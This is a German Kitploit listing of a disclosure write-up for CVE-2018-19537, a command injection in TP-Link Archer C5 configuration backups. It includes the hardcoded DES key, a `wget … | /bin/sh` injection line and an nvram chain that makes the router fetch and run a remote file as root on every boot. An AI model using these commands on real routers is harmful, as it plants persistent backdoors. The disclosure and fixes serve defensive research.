Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
TP-Link-ArcherC5-RCE — CVE-2018-19537 | Kitploit
Tools/GitHubGitHub/jackdoan/tp-link-archerc5-rce
Embedded-System-SicherheitIoT-SicherheitPersistenzmechanismenSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsCommand and ControlHardware-SicherheitPayload-Entwicklung
206vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
jackdoan/tp-link-archerc5-rce

TP-Link-ArcherC5-RCE

CVE-2018-19537

Repository anzeigen

TP-Link Archer C5 Authentifizierte RCE durch bösartigen Konfigurationsdatei-Upload (CVE-2018-19537)

Beschreibung

In allen veröffentlichten Firmware-Versionen für den TP-Link Archer C5 Router existiert eine Schwachstelle, die eine authentifizierte Remote-Codeausführung (RCE) ermöglicht. Durch das Hochladen einer manipulierten Konfigurationsdatei kann ein Angreifer OS-Befehle einschleusen, die mit Root-Rechten ausgeführt werden.

Der Archer C5 Router erlaubt Administratoren, aktuelle Konfigurationsparameter in eine Datei zu speichern und Parameter aus einer Datei wiederherzustellen. Diese Parameter scheinen ordnungsgemäß bereinigt zu werden, wenn ein Benutzer versucht, sie über die Weboberfläche zu setzen. Allerdings werden sie nicht ordnungsgemäß bereinigt, wenn sie aus einer Konfigurationsdatei gesetzt werden. Insbesondere haben wir OS-Befehle über den Parameter wan_dyn_hostname 1 <name> in der hochgeladenen Konfigurationsdatei injiziert. Andere Parameter könnten ebenfalls angreifbar sein.

Methodik

Eine gültige Konfigurationsdatei kann über das Menü „Backup & Restore“ in der Weboberfläche des Routers heruntergeladen werden. Die folgende HTTP-Anfrage lädt ein Backup der aktuellen Router-Konfiguration herunter:

root@kitploit:~
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1

Die Antwort enthält die Datei „config.bin“, die Konfigurationsdatei, mit der wir manipulieren werden.

Konfigurationsdateien werden durch DES-Verschlüsselung mit einem fest codierten Schlüssel verschleiert. Dieser fest codierte Schlüssel scheint bei mehreren TP-Link-Produkten wiederverwendet zu werden. Dank an Matteo Croce für die Entdeckung dieses fest codierten Schlüsselwerts. http://teknoraver.net/software/hacks/tplink/

Zwei einfache Python-Skripte sind beigefügt, um Konfigurationsdateien zu verschlüsseln und zu entschlüsseln – „binify.py“ bzw. „unbinify.py“. Eine entschlüsselte Konfigurationsdatei enthält Parameter wie diese:

root@kitploit:~
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0

Wir können diese entschlüsselte Konfigurationsdatei manipulieren, indem wir dem Parameter „wan_dyn_hostname“ einen bösartigen BusyBox-Befehl hinzufügen, wie folgt:

root@kitploit:~
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`

Anschließend verschlüsseln wir die neue bösartige Konfigurationsdatei und laden sie über die Weboberfläche hoch. Der Router startet automatisch neu. Früh im Bootvorgang, wenn das httpd-Programm ausgeführt wird, wird unser bösartiger BusyBox-Befehl ausgeführt. Der Pseudocode des relevanten Teils von httpd sieht etwa so aus:

root@kitploit:~
    char hostname[64];
    char to_run[256];
    memcpy(hostname, some_value_somewhere, 63);
    snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
    system(to_run);
    // Continue setting up network interfaces and connectivity

Es gibt mehrere Einschränkungen bei diesem Exploit, über die Einschränkung hinaus, BusyBox verwenden zu müssen. Der Dropbear-SSH-Server und telnetd scheinen über das WLAN nicht zu funktionieren, und der Hostname ist durch die Firmware auf 63 Zeichen begrenzt. Das Überschreiten dieser Grenze überschreibt andere Einstellungen und unterbricht den Internetzugang. Außerdem muss httpd aus dem system()-Aufruf zurückkehren, bevor es tatsächlich Netzwerkkonnektivität hat (da der system()-Aufruf, den wir ausnutzen, derjenige ist, der unsere WAN-IP anfordert), und das Root-Dateisystem ist schreibgeschützt. Das obige Beispiel eines bösartigen Befehls würde nicht funktionieren; httpd würde die wget-URL nicht herunterladen können, da es noch keinen Internetzugang hat, es würde aus dem system()-Aufruf zurückkehren und dann normal weiterarbeiten.

An diesem Punkt können wir also einen 63 Zeichen langen BusyBox-Befehl auf einem schreibgeschützten Dateisystem ausführen, ohne eine triviale Möglichkeit, das Programm warten zu lassen, bis es die Netzwerkkonnektivität hergestellt hat, bevor es unseren Befehl ausführt. Wir können ihm nicht einfach sagen, dass er ein paar Minuten schlafen und dann ausführen soll, da der system()-Aufruf, in den wir injizieren, blockierend ist.

Eine Sache, die wir jedoch tun können, ist, zu diesem Zeitpunkt der Ausführung eine weitere Instanz von httpd zu starten. Diese Instanz von httpd wird ebenfalls diesen system()-Aufruf ausführen, was uns in einer Schleife hält, die kontinuierlich weitere httpd-Instanzen erzeugt, aber den übergeordneten httpd-Prozessen erlaubt, weiter ausgeführt zu werden und letztendlich die Netzwerkkonnektivität wiederherzustellen. Um Speichermangel zu vermeiden, beenden wir diese Schleife, indem wir überprüfen, ob unser Exploit heruntergeladen wurde.

Proof of Concept

Unter Berücksichtigung der obigen Einschränkungen haben wir das folgende Shell-Skript entwickelt, das eine Datei aus dem Internet mit wget abruft und direkt an /bin/sh weiterleitet.

root@kitploit:~
    cd /tmp 
    if [ ! -f B ]; then 
        httpd & 
        sleep 15
        wget http://jackdoan.com/B
        /bin/sh B
    fi

Oder in einer Zeile, minimiert:

root@kitploit:~
    cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi

Dieses Skript hat unglaubliche 89 Zeichen, also müssen wir es in Teilen hochladen. Aber wie? Das Hochladen eines Befehls führt zu einem Neustart, und ein Neustart aktualisiert den Zustand des Routers. Wir haben erkannt, dass wir unsere eigene NVRAM-Variable erstellen und in nachfolgenden Befehlen darauf verweisen können, um einen Befehl aufzubauen, den wir schließlich ausführen.

Wir haben die Schwachstelle genutzt, um die folgenden Befehle zu injizieren und einen Exploit aufzubauen:

root@kitploit:~
    ; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
    ; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
    ; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
    ; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit

Und schließlich den Exploit auslösen, indem der Hostname auf Folgendes gesetzt wird:

root@kitploit:~
    ; udhcpc; nvram get a | /bin/sh ;

Dieses im NVRAM des Routers gespeicherte Skript wird bei jedem Start ausgeführt, und der Router scheint normal weiterzuarbeiten. Das Endergebnis ist, dass der Router bei jedem Start ins Internet geht, eine Datei herunterlädt und als Root ausführt.

Kritikalitätsbewertung

Wie gezeigt, kann diese Schwachstelle ausgenutzt werden, um den Router ins Internet greifen zu lassen, eine Payload abzurufen und mit Root-Rechten auszuführen. Daher hat sie hohe Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit des Geräts.

Der Vorgang des Injizierens eines Befehls über den Parameter wan_dyn_hostname der Konfigurationsdatei ist einfach. Das Überwinden der Einschränkungen dieses Befehls, um eine beliebige Payload auszuführen, ohne die normale Router-Funktionalität zu stören, ist mäßig komplex.

Dieser Angriff ist mäßig sichtbar, da er mindestens einen Neustart des Geräts erfordert. Unser PoC erfordert 5 aufeinanderfolgende Neustarts, bleibt aber bestehen, bis das Gerät auf Werkseinstellungen zurückgesetzt wird.

Diese Schwachstelle kann von jedem ausgenutzt werden, der Zugriff auf das Web-Admin-Konto hat. Bei der Standardkonfiguration des Routers kann dies also über LAN/WLAN mit den Standard-Admin-Anmeldedaten „admin:admin“ ausgenutzt werden. Diese Schwachstelle kann aus der Ferne über das Internet ausgenutzt werden, falls die Fernverwaltung aktiviert ist. Die Fernverwaltung ist standardmäßig deaktiviert.

Vorgeschlagene Korrekturen/Lösungen

  • Die aus einem Konfigurations-Backup wiederhergestellten Werte durch die gleichen Funktionen laufen lassen, die die Gültigkeit von Benutzereingaben aus der Weboberfläche prüfen
  • Den Benutzer zwingen, bei der Router-Einrichtung ein Admin-Passwort festzulegen

Kommentare

Diese Schwachstelle ist relativ einfach, was uns zu der Annahme führt, dass sie wahrscheinlich bereits gefunden und ausgenutzt wurde. Die Abwehr gegen diesen Angriff ist ebenfalls unglaublich einfach: Verwenden Sie nicht das Standard-Admin-Passwort. Ein starkes Passwort für das Web-Admin-Konto verhindert diesen Angriff. Da er so einfach auszunutzen und auch so einfach zu entschärfen ist, glauben wir, dass eine vollständige Offenlegung im öffentlichen Interesse ist.

Für unseren PoC haben wir über den Parameter „wan_dyn_hostname“ injiziert. Die Konfigurationsdatei enthält jedoch insgesamt 1190 Parameter, von denen viele möglicherweise injizierbar sind.

Danksagungen

  • Matteo Croce für die Entdeckung des fest codierten Schlüsselwerts 478DA50BF9E3D2CF (http://teknoraver.net/software/hacks/tplink/)
  • TP-Link für die Bereitstellung einer Toolchain mit ihrem GPL-Compliance-Paket, die es uns ermöglichte, GDB für ihre Plattform zu bauen
Tool herunterladen